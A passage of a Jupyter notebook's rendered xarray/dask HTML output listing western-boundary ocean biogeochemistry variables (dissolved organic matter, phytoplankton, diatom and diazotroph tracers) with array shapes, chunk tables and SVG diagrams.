</td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal 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for='attrs-457c34f4-c666-401f-a5b5-1778667bdba5' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7947ebd1-6431-4b98-8e97-245a5daf3d43' class='xr-var-data-in' type='checkbox'><label for='data-7947ebd1-6431-4b98-8e97-245a5daf3d43' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary dissolved organic nitrogen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>DOP_west</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-ab58c77c-7e0a-46d8-9c24-a64c24053eaa' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-ab58c77c-7e0a-46d8-9c24-a64c24053eaa' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-b3bd4226-3bb9-49a9-9ed6-d243d9e2ba3c' class='xr-var-data-in' type='checkbox'><label for='data-b3bd4226-3bb9-49a9-9ed6-d243d9e2ba3c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary dissolved organic phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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:</span></dt><dd>western boundary refractory dissolved organic phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line 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type='checkbox'><label for='data-5e4cb5ec-559c-4959-915e-23ef7081dee6' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary refractory dissolved organic nitrogen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", 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for='attrs-a41388fa-8bad-4c9b-8dfb-4a37f3b4251e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-54e1597b-0f72-42c6-ac81-99496bb16ee6' class='xr-var-data-in' type='checkbox'><label for='data-54e1597b-0f72-42c6-ac81-99496bb16ee6' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary refractory dissolved organic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>spChl_west</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-96ecacd0-25c1-4d0f-a7d3-585bc22c9289' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-96ecacd0-25c1-4d0f-a7d3-585bc22c9289' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-0ba61d2f-798a-44f6-b991-1870b9073990' class='xr-var-data-in' type='checkbox'><label for='data-0ba61d2f-798a-44f6-b991-1870b9073990' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary small phytoplankton chlorophyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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:</span></dt><dd>western boundary small phytoplankton carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" 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for='data-75dae2d0-2e65-47d2-9dba-a500245772f5' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary small phytoplankton phosphorous</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-925364d9-5d08-4d20-a535-b646ce51654f' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-925364d9-5d08-4d20-a535-b646ce51654f' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-5492d9a9-7000-496f-9141-e5afa1956c8c' class='xr-var-data-in' type='checkbox'><label for='data-5492d9a9-7000-496f-9141-e5afa1956c8c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary diatom chloropyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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:</span></dt><dd>western boundary diatom carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" 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for='attrs-bad1241d-2d8e-4eb8-9a66-dfe449a82ff6' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-f54b4f09-dfd7-4f16-9b98-98aefa9ac1ae' class='xr-var-data-in' type='checkbox'><label for='data-f54b4f09-dfd7-4f16-9b98-98aefa9ac1ae' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary diatom iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" 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class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-0e6e00f7-0efa-450e-9fc9-07e23d34cfad' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-0e6e00f7-0efa-450e-9fc9-07e23d34cfad' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-cae0af68-f8d0-412f-8b8b-98f3ce00486c' class='xr-var-data-in' type='checkbox'><label for='data-cae0af68-f8d0-412f-8b8b-98f3ce00486c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary diatom silicate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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:</span></dt><dd>western boundary diazotroph chloropyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" 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for='data-8ab6d5b6-915d-4f98-91ab-e07f4c442992' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary diazotroph carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray 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for='attrs-39aa6545-2afa-485f-9dff-ac6454aefd5e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-4faf1ce5-c1bc-41e4-ae1b-1aa5368ae4e3' class='xr-var-data-in' type='checkbox'><label for='data-4faf1ce5-c1bc-41e4-ae1b-1aa5368ae4e3' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary diazotroph phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" 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class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input 